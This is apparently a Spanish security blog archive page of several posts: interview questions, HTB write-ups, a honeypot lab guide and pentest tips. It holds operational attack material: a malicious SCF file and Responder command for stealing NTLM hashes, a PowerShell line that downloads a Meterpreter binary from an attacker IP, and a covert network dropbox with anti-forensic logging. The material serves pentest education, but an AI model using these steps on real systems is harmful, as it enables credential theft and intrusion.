Posibles preguntas en una entrevista para un puesto de seguridad informática / DFIR

Aquí y creo que de forma global, la ciberseguridad informática está en auge y eso se nota especialmente en el mercado laboral: afortunadamente las empresas cada vez demandan más puestos y, como consecuencia, hay un gran movimiento de personas incorporándose y cambiando en el mercado profesional.

Seguro que también os pasa a vosotros, cuándo un compañero algún día se tiene que irse antes por motivos personales enseguida saltan las "coñitas" del tipo "bueno, qué vaya bien en la entrevista" lol!

Para todos, para los que estén pensando en cambiarse o para los que se vayan a introducir en este mundillo, la prueba principal para incorporarse en una empresa sigue siendo la "entrevista". Y, aunque el formato y las preguntas suelen cambiar bastante incluso dentro de una misma empresa según la posición y el evaluador, siempre viene bien una batería de preguntas previas para prepararse.

Shankar Yadav con la ayuda de @Miss_Malware ha recopilado una lista bastante interesante dividida en categoría que seguro a más de uno hará reflexionar y/o prepararse mejor:

GENERAL
  • ¿Qué es DNS?
  • ¿Diferencias entre TCP y UDP?
  • ¿Cómo maneja HTTP el estado?
  • ¿TLS usa cifrado simétrico o asimétrico?
  • ¿Qué es "Riesgo"? ¿Qué es "Gestión de riesgos"?
  • ¿Qué parte del trío "confidentiality, integrity, and availability" de la CIA es la más importante?
  • Como Pentester, para ti ¿qué es más importante, ser un hax0r o hacer un buen trabajo?
  • ¿Cómo le explicarías a un usuario por qué no les damos administrador local en su máquina?
  • Responde verdadero o falso y explica tu respuesta: "La autenticación de dos factores protege contra el secuestro de la sesión".
  • Si fueras una amenaza, ¿cómo comprometerías a una organización en los tres dominios (físico, digital y humano)?
  • Nombra 3 protocolos de Internet que usan TCP, nombre 3 que usan UDP, Nombra 2 que no usan ninguno y en qué puerto se ejecutan.
  • Si estoy con mi portátil en la oficina y acabo de enchufar el cable de red. ¿Cuántos paquetes debe lanzar mi NIC para completar un traceroute a twitter.com?
  • ¿Cuál es la diferencia entre la codificación, el cifrado y el hash?
  • ¿Puedes describir que son las tablas rainbow?
  • Si tuvieras que cifrar y comprimir datos durante la transmisión, ¿qué harías primero y por qué?
  • En criptografía de clave pública, tienes una clave pública y privada, y a menudo realizas tanto funciones de cifrado como de firma. ¿Qué clave se usa para cada función?
  • ¿Cuáles son las ventajas que ofrecen los programas de bug bounty sobre las auditorías normales?
  • ¿Quién es más peligroso para una organización, las personas internas o las externas?
  • ¿A quién admiras en el campo de la seguridad de la información? ¿Por qué?
  • Acabas de entrar en el ascensor con el CEO y te pregunta, ¿qué tan seguros estamos? ¿Qué dices?
  • Tienes un presupuesto y recursos ilimitados. Dibuja la red corporativa más segura para la organización. Debe tener componentes específicos que incluyan pero no se limiten a: Internet, una subred de usuario, al menos un servidor de Active Directory, un servidor web (con base de datos de back-end) en Internet, un servidor de Recursos Humanos, WiFi para sus usuarios, una VPN, etc.

Construye tu propio troyano de hardware a lo Mr. Robot por menos de $15 (OpenWrt + SWORD en NEXX WRT3020F)

Packet Squirrel es un dispositivo multiherramienta Ethernet que vende Hak5 por $59.99 diseñado para proporcionar acceso remoto encubierto, capturas de paquetes y conexiones de VPN seguras con solo pulsar un botón. "Prima hermana" de la popular Wifi Pineapple también de Hak5, tal como nos decía Ernesto de Handover por correo electrónico, Packet Squirrel es un "dropbox" "digno de la serie Mr. Robot que sirve como troyano fisico, una cajita que dejar enchufada en una red local de una empresa, universidad, etc y luego tener acceso remoto, capturar passwords, etc."
Por otro lado, Tomas C. de Medium buscó una alternativa aún más barata y encontró el proyecto SWORD desarrollado por Bilal Bokhari (zer0byte), basado en OpenWRT / lede y que incluye herramientas comunes de pentest: URLSnarf, Ettercap, tcpdump, nmap, etc.

Zer0byte comenzó ese proyecto en un TP-Link MR3040, pero funciona prácticamente en cualquier cosa que tenga OpenWRT, así que Tomas busco otro dispositivo casi "desechable" de bajo coste similar a Packet Squirrel, algo más pequeño y más barato que el router TP-Link y encontró NEXX WRT3020F que se adapta perfectamente: pequeño, barato, con un gran soporte OpenWRT con doble puerto ethernet (como packetsquirrel) y por sólo $13.99 en Gearbest.


Sus características son:

- CPU RAMIPS 400MHz
- 64MB de RAM
- 8 MB de flash SPI
- Puerto USB A
- doble ethernet 100/10t
- 2.4GHz 802.11n MIMO 2T2R (300Mbit)

De fábrica viene con una versión china de u-boot que tiene una interfaz web para el flasheo directo de la partición mtd de OpenWRT. La instalación de openWRT está ampliamente documentada y es algo sencillo: https://wiki.openwrt.org/toh/nexx/wt3020#installation

Luego podemos instalar SWORD para convertir nuestro pequeño router en una herramienta de ataque de red desechable. El proyecto SWORD se puede descargar desde el siguiente mirror:

Enlace de descarga (Github)

Project Slides from Zer0byte

Requisitos (opkg install 'herramienta')

ettercap-ng, reaver, tcpdump, urlsnarf, ettercap, nmap, mk3

Instalación

- Extraer los archivos al directorio /www del router
- Asegurarse de tener bash instalado, de lo contrario los scripts no funcionarán (opkg update; opkg install bash –force-depends)‏
- Dar permisos 655 al directorio /cgi-bin (chmod -R 655 /www/cgi-bin/*
- Navegar a la URL http://IP_ROUTER/SWORD


Después de esto, tendremos una herramienta de red de ataque funcional y manejable desde una interfaz web. OpenWRT proporciona grandes repositorios de paquetes de herramientas de red, incluyendo pentesting. Por lo tanto, es muy fácil agregar sus características a SWORD. Por ejemplo, si queremos que nuestro dispositivo SWORD sea "resistente" al análisis forense, podemos usar un disco Ramfs RAM para guardar logs y credenciales, ya que los datos se perderán para siempre si alguien desconecta el dispositivo de la fuente de alimentación.

Fuente: https://medium.com/@tomac/a-15-openwrt-based-diy-pen-test-dropbox-26a98a5fa5e5

Mapa mundial de nodos de Tor

Hace 5 años, George Kargiotakis (@kargig) hizo un fork del proyecto Tormap de Moritz, lo actualizó un poco y escribió sobre él. Tormap siguió funcionando durante años hasta que se produjeron algunos cambios en Google Maps, básicamente que algunos KML no se cargaban al no permitir más de 3Mb. Hace poco, kargig retomó el proyecto y utilizó nuevas APIs de googlemaps v3 y comprimió los archivos KML (KMZ) para que funcionara. Luego @iainlearmonth y @nusenu_ le sugirieron más cambios ...

Su primera sugerencia fue usar onionoo en lugar de parsear consensus por su cuenta y ejecutar geoip en él, onionoo ya proporciona una buena salida en json. Su otra sugerencia fue cambiar tormap para usar OpenStreetMap en lugar de Google Maps, principalmente porque Google Maps bloquea algunos nodos de salida Tor y las casillas no aparecen en el mapa cuando se visita Tor. Ambos problemas están solucionados ahora.

También usó leaflet.js y un par de complementos como leaflet-plugins (para el parser KML) y leaflet-color-markers para el cambio a OpenStreetMap.

Hay otras sugerencias como crear mapas de nodos basados ​​en búsquedas personalizadas para atributos de relay. Pero de momento kargig nos ha regalado estos fabulosos mapas:




Proyecto: hhttps://github.com/kargig/tormap

Fuente: Tormap – World map of Tor nodes – 5 years later

[HTB write-up] Blocky



Sí amigos, permitirme empezar con este meme... y es que Hack The Box (HTB) es casi como una droga. Empiezas con una máquina y hasta que no la terminas no paras (o lo intentas), y cuando acabas una ya estás pensando en empezar otra...

Llego aproximadamente un mes y doy fe ello. Lo bueno es que realmente se aprende bastante, así que como hice no hace mucho con Apocalyst voy a publicar el solucionario o write-up de otra máquina recién retirada: Blocky. 

En mi opinión no es que sea muy buena, pero se trata de un Wordpress y siempre está bien tenerlo de repositorio. Así que sin más dilación, empezamos con el escaneo inicial de puertos:

# nmap -A 10.10.10.37
Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-08 14:58 CET
Nmap scan report for 10.10.10.37
Host is up (0.11s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE VERSION
21/tcp   open   ftp     ProFTPD 1.3.5a
22/tcp   open   ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
|_  256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
80/tcp   open   http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft – Under Construction!
8192/tcp closed sophos
Device type: general purpose|WAP|specialized|storage-misc|broadband router|printer
Running (JUST GUESSING): Linux 3.X|4.X|2.6.X (94%), Asus embedded (90%), Crestron 2-Series (89%), HP embedded (89%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel cpe:/h:asus:rt-ac66u cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3.4
Aggressive OS guesses: Linux 3.10 - 4.2 (94%), Linux 3.13 (94%), Linux 3.13 or 4.2 (94%), Linux 4.4 (94%), Linux 3.16 (93%), Linux 3.16 - 4.6 (92%), Linux 3.12 (91%), Linux 3.2 - 4.6 (91%), Asus RT-AC66U WAP (90%), Linux 3.18 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 8192/tcp)
HOP RTT       ADDRESS
1   110.83 ms 10.10.14.1
2   110.91 ms 10.10.10.37

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.82 seconds

Como podéis observar en los resultados de nmap, hay varios puertos abiertos: ssh, ftp y web. Normalmente en HTB la mayoría de las veces hay que explotar servicios web, así que empezaremos echando un vistazo a ver qué pinta tiene el Wordpress descubierto:

http://10.10.10.37/

Bypass CSRF mediante Burp

La vulnerabilidad Cross Site Request Forgery (CSRF o XSRF) o de "falsificación de petición en sitios cruzados" consiste en que un atacante aprovecha que un usuario está validado en un servicio web vulnerable para engañarle y que realice sin percatarse una acción malintencionada. El ejemplo más común es que un usuario está loggeado en la web de su banca personal y recibe un enlace que al pincharlo lleva a cabo automáticamente una transferencia bancaria. La web del banco digamos que "confía ciegamente" en las peticiones que recibe del usuario una vez que se ha validado.

Para controlar en todo momento que las peticiones que llegan son realmente debidas a la interacción del usuario verdadero, es decir, que en ningún momento ha sido impersonado, se suele utilizar un campo oculto en el formulario correspondiente (por defecto _token) que contiene un valor que sólo el servidor y el usuario conocen. Esta protección CSRF es también una "molestia" si queremos hacer un ataque de fuerza bruta o de diccionario contra un formulario de login, porque tendremos que configurar nuestro Burp para que añada y valide automáticamente los tokens CSRF. En este post veremos cómo hacerlo en un sencillos pasos...

Primero veamos nuestro ejemplo. Observamos que por cada petición se manda un token CSRF junto con el nombre de usuario y la contraseña:


Ese token precisamente es el que irá cambiando y mostrándose en el campo oculto del formulario de login.

Después de capturar la petición  y enviarla al Intruder, nos iremos a la pestaña de Posiciones y marcaremos como payloads el contenido de los parámetros __csrf_magic y passwordfid.

El tipo de ataque será 'Pitchfork' que irá cambiando ambos payloads (diferentes) al mismo tiempo:

Comandos en una sóla línea para descarga de payloads y ejecución remota de comandos en Windows

Si hay algo interesante para un pentester (o un atacante malintencionado) es un comando de una sola línea capaz de comprometer una máquina obteniendo una shell inversa...

El francés Arno (arno0x0x) recopila en su blog una interesante lista de posibilidades que han de cumplir los siguientes requisitos:

- permitir la ejecución de código arbitrario
- permitir descargar un payload de un servidor remoto, porque el malware/RAT/agente probablemente no cabrá en una sola línea de comandos
- tener conocimiento del proxy: ¿qué compañía no usa un proxy web para el tráfico saliente hoy en día?
- hacer uso de los binarios estándar y ampliamente implementados de Microsoft, para que el comando se ejecute en la mayor cantidad de sistemas posible
- ser "amigable" con EDR (Endpoint Detection and Response): el spawning de cmd.exe en Office ya es mala señal, pero ¿qué pasa con powershell.exe o cscript.exe descargando cosas de Internet?
- trabajar solo en memoria, porque el payload final podría quedar "atrapado" por el AV cuando se escriba en el disco

Pero siendo claros, no todas los comandos cumplirán todos los puntos anteriores. Especialmente el de no escribir el payload en el disco, porque la mayoría de las veces el archivo descargado terminará en el caché local.

Cuando se trata de descargar un payload desde un servidor remoto, básicamente tenemos 3 opciones:

- el comando acepta una URL HTTP como uno de sus argumentos
- el comando acepta una ruta UNC (apuntando a un servidor WebDAV)
- el comando puede ejecutar un pequeño script con un link de descarga

Dependiendo de la versión de Windows (7, 10), la caché local para los objetos descargados a través de HTTP será la caché local de IE, en una de las siguientes ubicaciones:
C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

Por otro lado, los archivos a los que se accede a través de una ruta UNC que apunta a un servidor WebDAV se guardarán en el caché local del cliente WebDAV
C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

Nota: cuando se utilice una ruta UNC para apuntar al servidor WebDAV que aloja el payload hay que tener en cuenta que solo funcionará si se inicia el servicio WebClient. En caso de que no se haya iniciado, para iniciarlo, incluso desde un usuario sin privilegios, simplemente hay que poner antes "pushd \\webdavserver & popd".

Fork de mona.py con soporte para x64dbg

Ray Wang, un estudiante del MIT (Instituto de Tecnología de Massachusetts) ha hecho un fork de mona.py de Corelan con soporte para x64dbg, el debugger x64/x32 de código abierto para Windows y una libre e interesante alternativa a WinDbg.

Ya sabéis que mona es una navaja suiza para el desarrollo de exploits en Windows. Es compatible con técnicas de ROP, SEH, cyclic patterns, etc. y bueno, tiene tantas opciones que si quieres ver todos los comandos y detalles de uso lo mejor es que ejecutes mona con el comando help.
Así que poder utilizar Mona también desde x64dbg es una muy buena noticia :)

Instrucciones de instalación

x64dbg

Para instalarlo primero debemos obtener x64dbgpy para el soporte de Python de x64dbg. Podemos descargar una release aquí. Luego, debemos mover los contenidos del directorio plugins a la carpeta de plugins de x64dbg.

A continuación, tenemos que mover mona.py a la carpeta plugins/x64dbgpy. También necesitaremos los archivos pykd.py y x64dbgpylib.py de https://github.com/x64dbg/x64dbgpylib. Finalmente, tendremos que situar también el script clean_mona.py en x64dbgpy/x64dbgpy/autorun.

Ahora, podremos ejecutar los comandos mona en la línea de comandos de Python x64dbg con mona.mona(“command”).

Immunity Debugger

Más sencillo aún, simplemente ponemos mona.py en la carpeta 'PyCommands' (dentro de la carpeta de la aplicación Immunity Debugger).

WinDBG

Ver https://github.com/corelan/windbglib

Algunos comandos admitidos

modules - muestra todos los módulos cargados y sus propiedades (ASLR, Rebase, DEP, etc.)
heap - muestra información relacionada con el heap
seh - Buscar punteros para ayudar a sobrescribir exploits con SEH
jmp - Encuentra punteros que te permitirán saltar a un registro
rop - busca gadgets que se puedan usar en un exploit con ROP y hace "magia" con ellos
jop - busca gadgets que se pueden usar en un exploit con JOP
pattern_offset - Encuentra la ubicación de 4 bytes en un pattern cíclico

Proyecto Github: https://github.com/x64dbg/mona

[HTB write-up] Apocalyst

Hack The Box es una plataforma online para practicar pentesting que a fecha de este post dispone de 42 máquinas de laboratorio (20 activas y 22 retiradas), un montón de retos sueltos clasificados en distintas categorías y un lab "pro" con un DA con 12 máquinas. Si no lo habéis probado os recomiendo hacerlo, además de otras plataformas como THW Labs, IHackLabs o PentestIt.

Como está permitido publicar los solucionarios de las máquinas retiradas (ya no puntúa resolverlas) no queremos dejar pasar la oportunidad de hacerlo también aquí, así que empezaremos con la última que además es accesible desde servidores gratuitos, es decir, normalmente las máquinas retiradas son sólo accesibles por suscriptores (sólo 10$ al mes) pero esta en concreto es totalmente "free"... hablamos de Apocalyst.

"Porque todo comienzo empieza con un nuevo apocalipsis".

Enumeración

Empezaremos como siempre escaneando los puertos abiertos de la máquina e identificando los servicios correspondientes:

# nmap -A 10.10.10.46

Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-23 00:34 CET
Nmap scan report for apocalyst.htb (10.10.10.46)
Host is up (0.13s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fd:ab:0f:c9:22:d5:f4:8f:7a:0a:29:11:b4:04:da:c9 (RSA)
|_  256 76:92:39:0a:57:bd:f0:03:26:78:c7:db:1a:66:a5:bc (ECDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apocalypse Preparation Blog
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.40%E=4%D=11/23%OT=22%CT=1%CU=30454%PV=Y%DS=2%DC=T%G=Y%TM=5A1609
OS:C6%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=I%TS=8)SEQ(SP=
OS:105%GCD=1%ISR=10B%TI=Z%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT
OS:11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7
OS:120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q
OS:=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%
OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=
OS:)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RU
OS:CK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   155.11 ms 10.10.14.1
2   155.90 ms apocalyst.htb (10.10.10.46)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.76 seconds

http://apocalyst.htb/

Como veis en el puerto 80 tenemos un wordpress:

http://apocalyst.htb/


Comienza Cybercamp 2017

CyberCamp es el gran evento nacional en materia de ciberseguridad para la sociedad promovido por INCIBE, el Instituto Nacional de Ciberseguridad de España.

Con el fin de promover la cultura de ciberseguridad de la sociedad y mitigar el continuo deterioro debido a amenazas cibernéticas de nuestro mundo dependiente de las nuevas tecnologías, CyberCamp pretende identificar, formar y promover la implicación de las personas en el mundo de la ciberseguridad para poder mantener la estabilidad y el desarrollo de nuestra sociedad en general. Para ello, CyberCamp ofrece una serie de actividades para profesionales, empresas interesadas en el tema o la sociedad en general. Estas actividades se desarrollan en un programa específico, donde charlas y talleres impartidos por algunos de los mejores expertos en ciberseguridad de nuestra sociedad, el foro de empleo y talento online, competiciones entre los aspirantes a talentos en la materia o actividades educativas para el público en general, materializarán el fin que CyberCamp promueve.

En definitiva, CyberCamp es un punto de encuentro de la ciberseguridad donde todos los miembros de la sociedad tienen su lugar para aprender y desarrollarse en un valor primordial para la sociedad actual: el uso responsable y seguro de la tecnología. CyberCamp 2017 se celebrará en Palacio de Exposiciones y Congresos de Santander, del 30 de noviembre al 3 de diciembre de 2017.

Cabe destacar que CyberCamp es un evento totalmente gratuito. Tan sólo será necesario que rellenes un formulario que te permitirá entrar y participar en las actividades que más llamen tu interés, pasando así a formar parte de esta fiesta de la ciberseguridad:


Podrás registrarte de forma online en cualquier momento y también existirá la posibilidad
de un registro de forma presencial, una vez comenzado el evento.

El evento constará de las siguientes actividades:
Las familias en este evento también tendran su hueco con las siguientes actividades:
Para más información: cybercamp.es

XII Concurso Universitario de Software Libre

Desde Hackplayers apoyamos fervientemente el software libre y, como viene siendo tradición en los últimos años y atendiendo a la petición de la Universidad de Sevilla, queremos contribuir y aportar también nuestro granito de arena con la difusión del Concurso Universitario de Software Libre.

Con el acrónimo CUSL, son ya la doce las ediciones de este concurso de desarrollo de software, hardware y documentación técnica libre a los que pueden inscribirse estudiantes de bachillerato, ciclos de grado medio y superior; y universitarios (incluido grado, máster y doctorado) matriculados en centros españoles durante este curso.

Los participantes dispondrán de un blog donde contarán su experiencia en el desarrollo durante el curso académico, además de emplear un repositorio, como GitHub o LaunchPad, para alojar el código fuente.  

Fase final del XI Concurso Universitario de Software Libre en Mayo de 2017, Sevilla.
La cifra de estudiantes participantes asciende ya a casi 1300, los cuales han presentado más de 940 proyectos. También son cerca de 50.000 los euros repartidos en premios desde la creación del concurso.

Este XII CUSL cuenta de momento con el apoyo organizativo de las oficinas del software libre de las universidades de Sevilla, La Laguna, Miguel Hernández (Elche), Zaragoza, Córdoba, Almería y Huelva.
 
El Software Libre se presenta como un complemento perfecto para la formación de los estudiantes, ya que les permite obtener experiencia en el proceso de desarrollo de software o hardware en etapas previas a la inserción en la vida laboral. Es por eso por lo que animamos a los estudiantes a que participen en dicho evento.
 
Toda la información al respecto se puede encontrar en la siguiente dirección:

Cazando Malware (Parte V)

En esta última parte, se concluye la serie de manuales de cómo crear nuestro propio laboratorio de malware.

Podéis ver el video sobre el funcionamiento de Kibana, donde además se muestra un ejemplo de un seguimiento de un malware.

Espero que os guste, y os hayan resultado útil estas publicaciones.

¡Hasta la próxima!

Aquí tenéis todas las partes del laboratorio:

Cazando Malware (Parte IV)

Ya tenemos funcionando todo el laboratorio, pero claro todo sin contraseña ni nada que evite miradas de curiosos. A ésto hay que ponerle remedio y ¿cómo lo vamos a hacer?. Instalando un plugin llamado X-pack en todos los elementos del laboratorio (Logstash,  Elasticsearch y Kibana). Ello nos proveerá de un servicio de autenticación de usuarios y además toda la información que se desee consultar/enviar a el Elasticsearch tendrá que ser previa validación, así evitaremos miradas inesperadas de usuarios no autorizados.

Parte IV A: Añadiendo seguridad con x-pack


Instalarlo en Kibana:

Ejecutamos lo siguiente para instalar el plugin:
$ ./bin/kibana-plugin install x-pack
Nos saldrá un mensaje en el cual aceptamos todo.

Editamos config/kibana.yml y añadimos el usuario y la contraseña que hayamos establecido

El user y password por defecto es elastic:changeme

*Nota: La primera vez que accedáis tendrá que ser con el usuario por defecto y os vais al apartado management -> users -> y editáis el user elastic y entonces a partir de ese momento si tendréis que cambiar lo siguiente.
elasticsearch.username: "elastic"
elasticsearch.password: "password”

Una vez instalado e iniciado dentro del propio frontal web en la parte de management se podrán administrar los users, cambiar contraseñas etc…


Cazando Malware (Parte III)


En esta tercera parte vamos a ver la instalación tanto de Elasticsearch como de Kibana.

Comencemos por Elasticsearch:

Parte III A: Instalación y configuración de Elasticsearch

*Nota: Necesita java y al menos 2gb de ram disponibles. 
Yo recomiendo encarecidamente ponerlo en una máquina aparte de los honeypots, tanto por seguridad como por requisitos del sistema.

Instalamos Java
$ sudo apt-get install openjdk-8-jre
Descargamos e instalamos Elastichsearch

*Nota: En nuestro caso es la versión 5.6.3 Os recomiendo mirar la última release que estuviera disponible en el momento que lo instaléis.
$ curl –O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.6.3.deb
$ dpkg –i elasticsearch-5.6.3.deb
Editamos el fichero /etc/elasticsearch/elasticsearch.yml
cluster.name: mycluster1
node.name: node-1
network.host: 0.0.0.0
http.port: 9200
Iniciamos el servicio
$ service elasticsearch start
$ service elasticsearch status
Comprobamos que el servicio esta levantado correctamente.


Para depurar algún fallo que pudiera ocurrir podemos recurrir a los logs de errores o accesos etc... que se guardan en /var/log/elasticsearch/ 



*Nota: Los resaltados en rojo son los logs en uso del día actual. El resto son los logs que han ido rotando. Recomiendo meter este directorio en un "crontab" para que solo se guarden los de los últimos 3 meses por ejemplo, así ahorraremos espacio.

Cazando Malware (Parte II)

Como segunda parte del laboratorio de honeypots vamos a continuar por donde lo dejamos.

A modo resumen: ya instalamos nuestro Cowrie, pero faltaba instalar el Logstash para poder enviar todos los logs normalizados a nuestro Elasticsearch.

Por tanto estamos en este punto:

Parte 2: Instalando Logstash en nuestro Honeypot


*Nota: Necesita java y al menos 2gb de ram disponibles. (Esto es más doloroso si pagamos por un servicio de VPS xD).

Descargamos Logstash (en nuestro caso es la versión 5.6.3). Os recomiendo mirar la última release que estuviera disponible en el momento que lo instaléis.
$ curl –O https://artifacts.elastic.co/downloads/logstash/logstash-5.6.3.deb
$ dpkg –i logstash-5.6.3.deb

Creamos el fichero de configuración de Logstash /etc/logstash/conf.d/logstash-cowrie.conf con el siguiente contenido:
input {
       file {
              path => ["/home/cowrie/cowrie/log/cowrie.json"]
              codec => json
              type => "cowrie"
       }
}
filter {
    if [type] == "cowrie" {
    json {
            source => message
        }
        date {
            match => [ "timestamp", "ISO8601" ]
        }
        if [src_ip]  {
            mutate {
                add_field => { "src_host" => "%{src_ip}" }
            }
            dns {
                reverse => [ "src_host" ]
                nameserver => [ "8.8.8.8", "8.8.4.4" ]
                action => "replace"
                hit_cache_size => 4096
                hit_cache_ttl => 900
                failed_cache_size => 512
                failed_cache_ttl => 900
            }
        }
        mutate {
            remove_tag => [ "beats_input_codec_plain_applied"]
            remove_field => [ "source", "offset", "input_type" ]
        }
    }
}
output {
    if [type] == "cowrie" {
        elasticsearch {
            hosts => ["localhost:9200"] # cambiar en caso de tenerlo remoto.
        }
        file {
            path => "/home/cowrie/tmp/cowrie-logstash.log"
            codec => json
        }
        stdout {
            codec => rubydebug
        }
    }
}

*Nota:  En este caso es la configuración que funciona para este laboratorio. Podéis modificar este fichero a vuestro antojo. Logstash tiene infinitas posibilidades, pero como el laboratorio ya es en sí muy largo hemos omitido ciertas partes. Eso ya lo dejo para que el lector indague por su cuenta si le interesa el tema.

Cazando Malware (Parte I)

Hoy vengo a contaros cómo realizar vuestro propio laboratorio para capturar malware. Parece mentira pero es bastante "sencillo", solo necesitamos: un puñado de máquinas en diversos países en el mundo, tiempo, dinero (tampoco mucho) y ganas de llevarlo a cabo.

Como se trata de una actividad compleja, va a ser un proceso largo. En un sólo post no vamos a poder explicar todo el proceso a la vez, por lo que le dedicaremos una serie de ellos, siendo este el primero.

Empecemos con un pequeño esquema para dejar todo un poco mas claro:

Podéis ver 3 elementos bien diferenciados:
- Honeypots (Cowrie)
- BBDD (Elasticsearch)
- Frontal Web para ver los resultados(Kibana).

Y ahora es cuando vienen las preguntas de cómo se monta este tinglado.

¿CÓMO FUNCIONA?

Los honeypots generan logs en base a los eventos que registren, el Logstasth los normaliza ("parsea") y los pasa a Elasticsearch para que éste los indexe y los almacene. Kibana se conectará a Elasticsearch para presentar los datos mediante una interfaz web, para que podamos verlos de manera sencilla y rápida.

A través de de esta serie de entradas en el blog vamos a ir viendo cada uno de los pasos hasta que lleguemos al resultado final. En este ejemplo podemos ver desde donde se han realizado los ataques registrados en nuestro honeypot, visto desde Kibana.


*Nota: En la imagen apreciamos un poco de "customización", que cada usuario puede realizar a su gusto una vez puesto en marcha todo. Es darle "amor" a Kibana para que te haga todo eso.

Usando un archivo scf malicioso dentro de un recurso compartido para obtener los hashes de los usuarios

Durante un test de intrusión es posible encontrarse con un recurso de red de un servidor Windows con permisos de escritura para todos. A parte de intentar obtener información sensible, hoy veíamos en el blog 1337red (nombre muy l33t) un truquito para abusar de este recurso y poder obtener los hashes de las contraseñas de todos los usuarios que naveguen por esa carpeta compartida.

Para ello, se utilizará un archivo scf malicioso. Si no conocéis este tipo de archivo, se trata de Shell Command File, es decir, un archivo de comandos de Windows Explorer, que nosotros usaremos para enviar earchivo scf malicioso.l hash NTLMv1/2 a nosotros, al atacante.

El siguiente código debe colocarse dentro del archivo .scf:
[Shell]

Command=2

IconFile=\\192.168.0.12\share\test.ico

[Taskbar]

Command=ToggleDesktop

NOTA: Reemplazar la dirección IP por la del Responder correspondiente

Al poner el nombre del archivo SCF, se recomienda usar uno que coincida más o menos con el contenido del recurso compartido para que parezca que pertenece al mismo. Además, el archivo debe ser visto por el Explorador de Windows, así que es aconsejable agregar un símbolo ~ o un símbolo @ al comienzo del nombre del archivo para asegurarse de que el archivo se ejecute tan pronto como se navegue por el recurso compartido. Esto colocará también el archivo en la parte superior del directorio.



Una vez que hemos creado y situado el fichero SCF malicioso en el recurso compartido, tendremos que levantar el Responder:
responder -wrf --lm -v -I eth0

Ahora, cuando cualquier usuario explore el recurso compartido , ¡recibiremos su hash!


Fuente: Using a SCF file to Gather Hashes

Opciones para transferir ficheros de Linux a Windows (post-explotación)

Es muy frecuente tener que subir una herramienta o un payload que hemos generado a una máquina comprometida previamente, normalmente porque hemos obtenido una shell y necesitamos escalar privilegios y/o instalar un túnel para pivotar (si se trata de una intrusión real o un laboratorio con más niveles).

Lo más frecuente es levantar un sencillo servidor web con Apache o python (SimpleHTTPServer) en la máquina del atacante y descargar el binario en cuestión con un curl o wget. Pero pudiera darse el caso que no tuvieramos Apache instalado o ni si quiera Python, por lo que debemos contemplar otras alternativas como FTP, TFTP o SMB, que además nos permiten transferir archivos de forma bidireccional, algo útil incluso para exfiltración de datos.

En el blog de Ronnie Flathers aka ropnop veíamos una especie de cheatsheet para utilizar estos protocolos/métodos para transferir archivos de Linux a Windows que nunca viene mal tener a mano...:

HTTP

Servidor (atacante)
- Opción 1 (apache)
copiar archivo a /var/www/html (document root por defecto)
service apache2 start

- Opción 2 (módulo python SimpleHTTPServer)
python -m SimpleHTTPServer 80 (por defecto puerto 8000)

Cliente (víctima)
- Opción 1 (descargar desde el navegador o wget)
http://TU-IP-DE-KALI/met8888.exe 

- Opción 2 (powershell)
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\hpys\Desktop\met8888.exe')

¿Cuál es la motivación de los cazadores de bugs?

